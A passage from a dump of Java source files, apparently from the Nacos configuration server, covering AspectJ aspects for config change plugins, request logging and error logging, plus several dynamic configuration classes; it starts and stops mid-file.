(StringUtils.isNotBlank(tag)) {\n            grayName = TagGrayRule.TYPE_TAG + \"_\" + configForm.getTag();\n            grayRuleExp = tag;\n        }\n        \n        ConfigChangePointCutTypes configChangePointCutType = null;\n        if (HTTP.equals(scrType)) {\n            // via console or api calls\n            configChangePointCutType = ConfigChangePointCutTypes.PUBLISH_BY_HTTP;\n        } else {\n            // via sdk rpc calls\n            configChangePointCutType = ConfigChangePointCutTypes.PUBLISH_BY_RPC;\n        }\n        final List<ConfigChangePluginService> pluginServices = getPluginServices(\n                configChangePointCutType);\n        // didn't enabled or add relative plugin\n        if (pluginServices.isEmpty()) {\n            return pjp.proceed();\n        }\n        ConfigChangeRequest configChangeRequest = new ConfigChangeRequest(configChangePointCutType);\n        configChangeRequest.setArg(\"dataId\", dataId);\n        configChangeRequest.setArg(\"group\", group);\n        configChangeRequest.setArg(\"namespaceId\", namespaceId);\n        configChangeRequest.setArg(\"content\", content);\n        configChangeRequest.setArg(\"tag\", tag);\n        configChangeRequest.setArg(\"requestIpApp\", requestIpApp);\n        configChangeRequest.setArg(\"srcIp\", scrIp);\n        configChangeRequest.setArg(\"configTags\", configTags);\n        configChangeRequest.setArg(\"desc\", desc);\n        configChangeRequest.setArg(\"use\", use);\n        configChangeRequest.setArg(\"effect\", effect);\n        configChangeRequest.setArg(\"type\", type);\n        configChangeRequest.setArg(\"grayName\", grayName);\n        configChangeRequest.setArg(\"grayRuleExp\", grayRuleExp);\n        return configChangeServiceHandle(pjp, pluginServices, configChangeRequest);\n    }\n    \n    /**\n     * Remove config.\n     */\n    @Around(DELETE_CONFIG)\n    Object removeConfigByIdAround(ProceedingJoinPoint pjp) throws Throwable {\n        Object[] args = pjp.getArgs();\n        final String dataId = (String) args[0];\n        final String group = (String) args[1];\n        final String namespaceId = (String) args[2];\n        final String grayName = (String) args[3];\n        final String srcIp = (String) args[4];\n        final String srcUser = (String) args[5];\n        final String scrType = (String) args[6];\n        \n        ConfigChangePointCutTypes configChangePointCutType = null;\n        if (HTTP.equals(scrType)) {\n            // via console or api calls\n            configChangePointCutType = ConfigChangePointCutTypes.PUBLISH_BY_HTTP;\n        } else {\n            // via sdk rpc calls\n            configChangePointCutType = ConfigChangePointCutTypes.PUBLISH_BY_RPC;\n        }\n        final List<ConfigChangePluginService> pluginServices = getPluginServices(configChangePointCutType);\n        // didn't enabled or add relative plugin\n        if (pluginServices.isEmpty()) {\n            return pjp.proceed();\n        }\n        ConfigChangeRequest configChangeRequest = new ConfigChangeRequest(configChangePointCutType);\n        configChangeRequest.setArg(\"dataId\", dataId);\n        configChangeRequest.setArg(\"group\", group);\n        configChangeRequest.setArg(\"namespaceId\", namespaceId);\n        configChangeRequest.setArg(\"srcIp\", srcIp);\n        configChangeRequest.setArg(\"srcUser\", srcUser);\n        configChangeRequest.setArg(\"grayName\", grayName);\n        configChangeRequest.setArg(\"modifyTime\", TimeUtils.getCurrentTimeStr());\n        return configChangeServiceHandle(pjp, pluginServices, configChangeRequest);\n    }\n    \n    /**\n     * Execute relevant config change plugin services.\n     */\n    private Object configChangeServiceHandle(ProceedingJoinPoint pjp,\n            List<ConfigChangePluginService> configChangePluginServiceList,\n            ConfigChangeRequest configChangeRequest) {\n        ConfigChangePointCutTypes handleType = configChangeRequest.getRequestType();\n        ConfigChangeResponse configChangeResponse = new ConfigChangeResponse(handleType);\n        // default success,when before plugin service verify failed , set false\n        configChangeResponse.setSuccess(true);\n\n        List<ConfigChangePluginService> beforeExecutePluginServices = new ArrayList<>(DEFAULT_BEFORE_LIST_CAPACITY);\n        List<ConfigChangePluginService> afterExecutePluginServices = new ArrayList<>(DEFAULT_AFTER_LIST_CAPACITY);\n        \n        Object retVal = null;\n        Object[] args = pjp.getArgs();\n        configChangeRequest.setArg(ConfigChangeConstants.ORIGINAL_ARGS, args);\n        \n        for (ConfigChangePluginService ccs : configChangePluginServiceList) {\n            if (!isEnabled(ccs)) {\n                continue;\n            }\n            if (ConfigChangeExecuteTypes.EXECUTE_BEFORE_TYPE.equals(ccs.executeType())) {\n                beforeExecutePluginServices.add(ccs);\n            } else {\n                afterExecutePluginServices.add(ccs);\n            }\n        }\n        \n        // before plugin service execute\n        for (ConfigChangePluginService ccs : beforeExecutePluginServices) {\n            final String serviceType = ccs.getServiceType().toLowerCase(Locale.ROOT);\n            final Properties properties = configChangeConfigs.getPluginProperties(serviceType);\n            configChangeRequest.setArg(ConfigChangeConstants.PLUGIN_PROPERTIES, properties);\n            ccs.execute(configChangeRequest, configChangeResponse);\n            if (null != configChangeResponse.getArgs()) {\n                // update args by filter with whitelist\n                args = configChangeResponse.getArgs();\n            }\n            // prevent execute next before plugins service\n            if (!configChangeResponse.isSuccess()) {\n                retVal = false;\n                break;\n            }\n        }\n        \n        try {\n            if (configChangeResponse.isSuccess()) {\n                retVal = pjp.proceed(args);\n            }\n        } catch (Throwable e) {\n            LOGGER.warn(\"Config change join point execution failed. Error details: {}\", e.getMessage());\n            configChangeResponse.setMsg(\"Config change join point failed: \" + e.getMessage());\n            retVal = false;\n        }\n        \n        // after plugin service execute\n        ConfigExecutor.executeAsyncConfigChangePluginTask(() -> {\n            for (ConfigChangePluginService ccs : afterExecutePluginServices) {\n                try {\n                    final String serviceType = ccs.getServiceType().toLowerCase(Locale.ROOT);\n                    final Properties properties = configChangeConfigs.getPluginProperties(serviceType);\n                    configChangeRequest.setArg(ConfigChangeConstants.PLUGIN_PROPERTIES, properties);\n                    ccs.execute(configChangeRequest, configChangeResponse);\n                } catch (Throwable throwable) {\n                    LOGGER.warn(\"execute async plugin services failed {}\", throwable.getMessage());\n                }\n            }\n        });\n        \n        return retVal;\n    }\n    \n    private List<ConfigChangePluginService> getPluginServices(\n            ConfigChangePointCutTypes configChangePointCutType) {\n        List<ConfigChangePluginService> pluginServicePriorityList = ConfigChangePluginManager\n                .findPluginServicesByPointcut(configChangePointCutType);\n        if (pluginServicePriorityList == null) {\n            return new ArrayList<>();\n        }\n        for (ConfigChangePluginService each : pluginServicePriorityList) {\n            if (isEnabled(each)) {\n                return pluginServicePriorityList;\n            }\n        }\n        return new ArrayList<>();\n    }\n    \n    private boolean isEnabled(ConfigChangePluginService configChangePluginService) {\n        Properties serviceConfigProperties = configChangeConfigs\n                .getPluginProperties(configChangePluginService.getServiceType());\n        return Boolean.parseBoolean(serviceConfigProperties.getProperty(ENABLED));\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/aspect/ConfigOpFailureAspect.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.aspect;\n\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport org.aspectj.lang.JoinPoint;\nimport org.aspectj.lang.annotation.AfterThrowing;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.aspectj.lang.annotation.Pointcut;\nimport org.slf4j.Logger;\nimport org.springframework.stereotype.Component;\n\n/**\n * The pointcut for configuration change operations, it will log when the configuration change fails.\n *\n * @author blake.qiu\n */\n@Aspect\n@Component\npublic class ConfigOpFailureAspect {\n    \n    private static final Logger LOGGER = LogUtil.DEFAULT_LOG;\n    \n    /**\n     * Pointcut for all methods from 'configRepositoryInterface'.\n     */\n    @Pointcut(\"within(com.alibaba.nacos.config.server.service.repository..*)\")\n    public void configRepositoryInterfaceMethods() {\n    }\n    \n    /**\n     * Log message when a method from 'configRepositoryInterface' throws an exception.\n     */\n    @AfterThrowing(pointcut = \"configRepositoryInterfaceMethods()\", throwing = \"exception\")\n    public void logException(JoinPoint joinPoint, Throwable exception) {\n        try {\n            Object[] args = joinPoint.getArgs();\n            StringBuilder params = new StringBuilder();\n            if (args != null) {\n                for (int i = 0; i < args.length; i++) {\n                    if (i < args.length - 1) {\n                        params.append(args[i]).append(\", \");\n                    } else {\n                        params.append(args[i]);\n                    }\n                }\n            }\n            String methodName = joinPoint.getSignature().getName();\n            LOGGER.error(\"An error occurred while executing method [{}].\\n Parameters: [{}].\", methodName, params,\n                    exception);\n        } catch (Exception e) {\n            LOGGER.error(\"An error occurred while logging the original exception. method [{}]\",\n                    joinPoint.getSignature().getName(), e);\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/aspect/RequestLogAspect.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.aspect;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.monitor.MetricsMonitor;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.RequestUtil;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.aspectj.lang.annotation.Around;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.springframework.stereotype.Component;\n\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * Aspect for logging HTTP API and SDK API requests in Nacos.\n *\n * @author Nacos\n */\n@Aspect\n@Component\npublic class RequestLogAspect {\n    \n    private static final String PUBLISH_CONFIG = \"execution(* com.alibaba.nacos.config.server.service.ConfigOperationService.publishConfig(..))\";\n    \n    private static final String GET_CONFIG = \"execution(* com.alibaba.nacos.config.server.service.query.ConfigQueryChainService.handle(..))\";\n    \n    private static final String DELETE_CONFIG = \"execution(* com.alibaba.nacos.config.server.service.ConfigOperationService.deleteConfig(..))\";\n    \n    private static final String CONFIG_CHANGE_LISTEN_RPC =\n            \"execution(* com.alibaba.nacos.core.remote.RequestHandler.handleRequest(..)) \"\n                    + \" && target(com.alibaba.nacos.config.server.remote.ConfigChangeBatchListenRequestHandler) && args(request,meta)\";\n    \n    /**\n     * Intercepts configuration publishing operations, records metrics, and logs client requests.\n     */\n    @Around(PUBLISH_CONFIG)\n    public Object interfacePublishConfig(ProceedingJoinPoint pjp) throws Throwable {\n        Object[] args = pjp.getArgs();\n        ConfigForm configForm = (ConfigForm) args[0];\n        ConfigRequestInfo configRequestInfo = (ConfigRequestInfo) args[1];\n        String dataId = configForm.getDataId();\n        String group = configForm.getGroup();\n        String namespaceId = configForm.getNamespaceId();\n        String content = configForm.getContent();\n        String requestIp = configRequestInfo.getSrcIp();\n        String md5 = content == null ? null : MD5Utils.md5Hex(content, Constants.ENCODE);\n        \n        MetricsMonitor.getPublishMonitor().incrementAndGet();\n        AtomicLong rtHolder = new AtomicLong();\n        Object retVal = logClientRequest(\"publish\", pjp, dataId, group, namespaceId, requestIp, md5, rtHolder);\n        MetricsMonitor.getWriteConfigRtTimer().record(rtHolder.get(), TimeUnit.MILLISECONDS);\n        \n        return retVal;\n    }\n    \n    /**\n     * Intercepts configuration get operations, records metrics, and logs client requests.\n     */\n    @Around(GET_CONFIG)\n    public Object interfaceGetConfig(ProceedingJoinPoint pjp) throws Throwable {\n        Object[] args = pjp.getArgs();\n        ConfigQueryChainRequest chainRequest = (ConfigQueryChainRequest) args[0];\n        String dataId = chainRequest.getDataId();\n        String group = chainRequest.getGroup();\n        String tenant = chainRequest.getTenant();\n        String requestIp = null;\n        if (chainRequest.getAppLabels() != null) {\n            requestIp = chainRequest.getAppLabels().getOrDefault(BetaGrayRule.CLIENT_IP_LABEL, null);\n        }\n        String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        String md5 = ConfigCacheService.getContentMd5(groupKey);\n        \n        MetricsMonitor.getConfigMonitor().incrementAndGet();\n        AtomicLong rtHolder = new AtomicLong();\n        Object retVal = logClientRequest(\"get\", pjp, dataId, group, tenant, requestIp, md5, rtHolder);\n        MetricsMonitor.getReadConfigRtTimer().record(rtHolder.get(), TimeUnit.MILLISECONDS);\n        \n        return retVal;\n    }\n    \n    /**\n     * Deletes a configuration entry and logs the operation.\n     */\n    @Around(DELETE_CONFIG)\n    public Object interfaceRemoveConfig(ProceedingJoinPoint pjp) throws Throwable {\n        Object[] args = pjp.getArgs();\n        String dataId = (String) args[0];\n        String group = (String) args[1];\n        String tenant = (String) args[2];\n        String clientIp = (String) args[4];\n        String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        String md5 = ConfigCacheService.getContentMd5(groupKey);\n        \n        MetricsMonitor.getConfigMonitor().incrementAndGet();\n        AtomicLong rtHolder = new AtomicLong();\n        Object retVal = logClientRequest(\"delete\", pjp, dataId, group, tenant, clientIp, md5, rtHolder);\n        MetricsMonitor.getReadConfigRtTimer().record(rtHolder.get(), TimeUnit.MILLISECONDS);\n        \n        return retVal;\n    }\n    \n    /**\n     * Client api request log rt | status | requestIp | opType | dataId | group | datumId | md5.\n     */\n    private Object logClientRequest(String requestType, ProceedingJoinPoint pjp, String dataId, String group,\n            String tenant, String requestIp, String md5, AtomicLong rtHolder) throws Throwable {\n        long startTime = System.currentTimeMillis();\n        try {\n            Object retVal = pjp.proceed();\n            \n            long rt = System.currentTimeMillis() - startTime;\n            if (rtHolder != null) {\n                rtHolder.set(rt);\n            }\n            \n            LogUtil.CLIENT_LOG.info(\n                    \"opType: {} | rt: {}ms | status: success | requestIp: {} | dataId: {} | group: {} | tenant: {} | md5: {}\",\n                    requestType, rt, requestIp, dataId, group, tenant, md5);\n            \n            return retVal;\n            \n        } catch (Throwable e) {\n            long rt = System.currentTimeMillis() - startTime;\n            if (rtHolder != null) {\n                rtHolder.set(rt);\n            }\n            \n            LogUtil.CLIENT_LOG.error(\n                    \"opType: {} | rt: {}ms | status: failure | requestIp: {} | dataId: {} | group: {} | tenant: {} | md5: {}\",\n                    requestType, rt, requestIp, dataId, group, tenant, md5);\n            \n            throw e;\n        }\n    }\n    \n    /**\n     * Handles configuration change listening requests.\n     */\n    @Around(CONFIG_CHANGE_LISTEN_RPC)\n    public Object interfaceListenConfigRpc(ProceedingJoinPoint pjp, ConfigBatchListenRequest request, RequestMeta meta)\n            throws Throwable {\n        MetricsMonitor.getConfigMonitor().incrementAndGet();\n        final String requestIp = meta.getClientIp();\n        String appName = request.getHeader(RequestUtil.CLIENT_APPNAME_HEADER);\n        final long st = System.currentTimeMillis();\n        Response retVal = (Response) pjp.proceed();\n        final long rt = System.currentTimeMillis() - st;\n        LogUtil.CLIENT_LOG.info(\n                \"opType: {} | rt: {}ms | status: {} | requestIp: {} | listenSize: {} | listenOrCancel: {} | appName: {}\",\n                \"listen\", rt, retVal.isSuccess() ? retVal.getResultCode() : retVal.getErrorCode(), requestIp,\n                request.getConfigListenContexts().size(), request.isListen(), appName);\n        return retVal;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/configuration/ConfigChangeConfigs.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.configuration;\n\nimport com.alibaba.nacos.common.event.ServerConfigChangeEvent;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.plugin.config.constants.ConfigChangeConstants;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.utils.PropertiesUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Configuration;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * config change plugin configs.\n *\n * @author liyunfei\n **/\n@Configuration\npublic class ConfigChangeConfigs extends Subscriber<ServerConfigChangeEvent> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigChangeConfigs.class);\n    \n    private static final String PREFIX = ConfigChangeConstants.NACOS_CORE_CONFIG_PLUGIN_PREFIX;\n    \n    private Map<String, Properties> configPluginProperties = new HashMap<>();\n    \n    public ConfigChangeConfigs() {\n        NotifyCenter.registerSubscriber(this);\n        refreshPluginProperties();\n    }\n    \n    private void refreshPluginProperties() {\n        try {\n            Map<String, Properties> newProperties = new HashMap<>(3);\n            Properties properties = PropertiesUtil.getPropertiesWithPrefix(EnvUtil.getEnvironment(), PREFIX);\n            if (properties != null) {\n                for (String each : properties.stringPropertyNames()) {\n                    int typeIndex = each.indexOf('.');\n                    String type = each.substring(0, typeIndex);\n                    String subKey = each.substring(typeIndex + 1);\n                    newProperties.computeIfAbsent(type, key -> new Properties())\n                            .setProperty(subKey, properties.getProperty(each));\n                }\n            }\n            configPluginProperties = newProperties;\n        } catch (Exception e) {\n            LOGGER.warn(\"[ConfigChangeConfigs]Refresh config plugin properties failed \", e);\n        }\n    }\n    \n    public Properties getPluginProperties(String configPluginType) {\n        if (!configPluginProperties.containsKey(configPluginType)) {\n            LOGGER.warn(\n                    \"[ConfigChangeConfigs]Can't find config plugin properties for type {}, will use empty properties\",\n                    configPluginType);\n            return new Properties();\n        }\n        return configPluginProperties.get(configPluginType);\n    }\n    \n    @Override\n    public void onEvent(ServerConfigChangeEvent event) {\n        refreshPluginProperties();\n    }\n    \n    @Override\n    public Class<? extends Event> subscribeType() {\n        return ServerConfigChangeEvent.class;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/configuration/ConfigCommonConfig.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.configuration;\n\nimport com.alibaba.nacos.core.config.AbstractDynamicConfig;\nimport com.alibaba.nacos.sys.env.EnvUtil;\n\n/**\n * Nacos config common configs.\n *\n * @author blake.qiu\n */\n\npublic class ConfigCommonConfig extends AbstractDynamicConfig {\n    \n    private static final String CONFIG_COMMON = \"ConfigCommon\";\n    \n    private static final ConfigCommonConfig INSTANCE = new ConfigCommonConfig();\n    \n    private int maxPushRetryTimes = 50;\n    \n    private long pushTimeout = 3000L;\n    \n    private int batchSize = 20;\n    \n    private boolean derbyOpsEnabled = false;\n    \n    private int maxPatternCount = 20;\n    \n    private int maxMatchedConfigCount = 500;\n    \n    private ConfigCommonConfig() {\n        super(CONFIG_COMMON);\n        resetConfig();\n    }\n    \n    public static ConfigCommonConfig getInstance() {\n        return INSTANCE;\n    }\n    \n    public int getMaxPushRetryTimes() {\n        return maxPushRetryTimes;\n    }\n    \n    public void setMaxPushRetryTimes(int maxPushRetryTimes) {\n        this.maxPushRetryTimes = maxPushRetryTimes;\n    }\n    \n    public long getPushTimeout() {\n        return pushTimeout;\n    }\n    \n    public int getBatchSize() {\n        return batchSize;\n    }\n    \n    public boolean isDerbyOpsEnabled() {\n        return derbyOpsEnabled;\n    }\n    \n    public void setDerbyOpsEnabled(boolean derbyOpsEnabled) {\n        this.derbyOpsEnabled = derbyOpsEnabled;\n    }\n    \n    public int getMaxPatternCount() {\n        return maxPatternCount;\n    }\n    \n    public int getMaxMatchedConfigCount() {\n        return maxMatchedConfigCount;\n    }\n    \n    @Override\n    protected void getConfigFromEnv() {\n        maxPushRetryTimes = EnvUtil.getProperty(\"nacos.config.push.maxRetryTime\", Integer.class, 50);\n        pushTimeout = EnvUtil.getProperty(\"nacos.config.push.timeout\", Long.class, 3000L);\n        batchSize = EnvUtil.getProperty(\"nacos.config.push.batchSize\", Integer.class, 20);\n        derbyOpsEnabled = EnvUtil.getProperty(\"nacos.config.derby.ops.enabled\", Boolean.class, false);\n        \n        maxPatternCount = EnvUtil.getProperty(\"nacos.config.fuzzy.watch.max.pattern.count\", Integer.class, 20);\n        maxMatchedConfigCount = EnvUtil.getProperty(\"nacos.config.fuzzy.watch.max.pattern.match.config.count\",\n                Integer.class, 500);\n    }\n    \n    @Override\n    protected String printConfig() {\n        return toString();\n    }\n    \n    @Override\n    public String toString() {\n        return \"ConfigCommonConfig{\" + \"maxPushRetryTimes=\" + maxPushRetryTimes + \", derbyOpsEnabled=\" + derbyOpsEnabled\n                + '}';\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/configuration/ConfigCompatibleConfig.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.configuration;\n\nimport com.alibaba.nacos.config.server.constant.PropertiesConstant;\nimport com.alibaba.nacos.core.config.AbstractDynamicConfig;\nimport com.alibaba.nacos.sys.env.EnvUtil;\n\n/**\n * The type Config compatible config.\n *\n * @author Sunrisea\n */\npublic class ConfigCompatibleConfig extends AbstractDynamicConfig {\n    \n    private static final String CONFIG_NAME = \"configCompatible\";\n    \n    private boolean namespaceCompatibleMode = true;\n    \n    private static final ConfigCompatibleConfig INSTANCE = new ConfigCompatibleConfig();\n    \n    protected ConfigCompatibleConfig() {\n        super(CONFIG_NAME);\n        resetConfig();\n    }\n    \n    public boolean isNamespaceCompatibleMode() {\n        return namespaceCompatibleMode;\n    }\n    \n    @Override\n    protected void getConfigFromEnv() {\n        namespaceCompatibleMode = EnvUtil.getProperty(PropertiesConstant.NAMESPACE_COMPATIBLE_MODE, Boolean.class, true);\n    }\n    \n    @Override\n    protected String printConfig() {\n        return \"ConfigCompatibleConfig{\" + \"namespaceCompatibleMode=\" + namespaceCompatibleMode\n                + '}';\n    }\n    \n    public static ConfigCompatibleConfig getInstance() {\n        return INSTANCE;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/configuration/NacosConfigConfiguration.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.configuration;\n\nimport com.alibaba.nacos.config.server.filter.CircuitFilter;\nimport com.alibaba.nacos.config.server.filter.NacosWebFilter;\nimport com.alibaba.nacos.core.code.ControllerMethodsCache;\nimport com.alibaba.nacos.core.web.NacosWebBean;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionDistributedEmbedStorage;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.boot.web.servlet.FilterRegistrationBean;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.context.annotation.Configuration;\n\nimport javax.annotation.PostConstruct;\n\n/**\n * Nacos Config {@link Configuration} includes required Spring components.\n *\n * @author <a href=\"mailto:mercyblitz@gmail.com\">Mercy</a>\n * @since 0.2.2\n */\n@Configuration\n@NacosWebBean\npublic class NacosConfigConfiguration {\n    \n    private final ControllerMethodsCache methodsCache;\n    \n    public NacosConfigConfiguration(ControllerMethodsCache methodsCache) {\n        this.methodsCache = methodsCache;\n    }\n    \n    @PostConstruct\n    public void init() {\n        methodsCache.initClassMethod(\"com.alibaba.nacos.config.server.controller\");\n    }\n    \n    @Bean\n    @ConditionalOnProperty(name = \"nacos.web.charset.filter\", havingValue = \"nacos\", matchIfMissing = true)\n    public FilterRegistrationBean<NacosWebFilter> nacosWebFilterRegistration() {\n        FilterRegistrationBean<NacosWebFilter> registration = new FilterRegistrationBean<>();\n        registration.setFilter(nacosWebFilter());\n        registration.addUrlPatterns(\"/v1/cs/*\");\n        registration.setName(\"nacosWebFilter\");\n        registration.setOrder(1);\n        return registration;\n    }\n    \n    @Bean\n    public NacosWebFilter nacosWebFilter() {\n        return new NacosWebFilter();\n    }\n    \n    @Conditional(ConditionDistributedEmbedStorage.class)\n    @Bean\n    public FilterRegistrationBean<CircuitFilter> transferToLeaderRegistration() {\n        FilterRegistrationBean<CircuitFilter> registration = new FilterRegistrationBean<>();\n        registration.setFilter(transferToLeader());\n        registration.addUrlPatterns(\"/v1/cs/*\");\n        registration.setName(\"curcuitFilter\");\n        registration.setOrder(6);\n        return registration;\n    }\n    \n    @Conditional(ConditionDistributedEmbedStorage.class)\n    @Bean\n    public CircuitFilter transferToLeader() {\n        return new CircuitFilter();\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/constant/ConfigModuleStateBuilder.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.constant;\n\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.persistence.utils.DatasourcePlatformUtil;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.module.AbstractServerModuleStateBuilder;\nimport com.alibaba.nacos.sys.module.ModuleState;\n\n/**\n * config module state builder.\n * @author 985492783@qq.com\n * @date 2023/4/6 10:25\n */\npublic class ConfigModuleStateBuilder extends AbstractServerModuleStateBuilder {\n    \n    @Override\n    public ModuleState build() {\n        ModuleState moduleState = new ModuleState(com.alibaba.nacos.api.common.Constants.Config.CONFIG_MODULE);\n        \n        moduleState.newState(Constants.DATASOURCE_PLATFORM_PROPERTY_STATE,\n                DatasourcePlatformUtil.getDatasourcePlatform(\"\"));\n        moduleState.newState(Constants.NACOS_PLUGIN_DATASOURCE_LOG_STATE,\n                EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class, false));\n        \n        moduleState.newState(PropertiesConstant.NOTIFY_CONNECT_TIMEOUT, PropertyUtil.getNotifyConnectTimeout());\n        moduleState.newState(PropertiesConstant.NOTIFY_SOCKET_TIMEOUT, PropertyUtil.getNotifySocketTimeout());\n        moduleState.newState(PropertiesConstant.IS_HEALTH_CHECK, PropertyUtil.isHealthCheck());\n        moduleState.newState(PropertiesConstant.MAX_HEALTH_CHECK_FAIL_COUNT, PropertyUtil.getMaxHealthCheckFailCount());\n        moduleState.newState(PropertiesConstant.MAX_CONTENT, PropertyUtil.getMaxContent());\n        moduleState.newState(PropertiesConstant.IS_MANAGE_CAPACITY, PropertyUtil.isManageCapacity());\n        moduleState.newState(PropertiesConstant.IS_CAPACITY_LIMIT_CHECK, PropertyUtil.isCapacityLimitCheck());\n        moduleState.newState(PropertiesConstant.DEFAULT_CLUSTER_QUOTA, PropertyUtil.getDefaultClusterQuota());\n        moduleState.newState(PropertiesConstant.DEFAULT_GROUP_QUOTA, PropertyUtil.getDefaultGroupQuota());\n        moduleState.newState(PropertiesConstant.DEFAULT_MAX_SIZE, PropertyUtil.getDefaultMaxSize());\n        moduleState.newState(PropertiesConstant.DEFAULT_MAX_AGGR_COUNT, PropertyUtil.getDefaultMaxAggrCount());\n        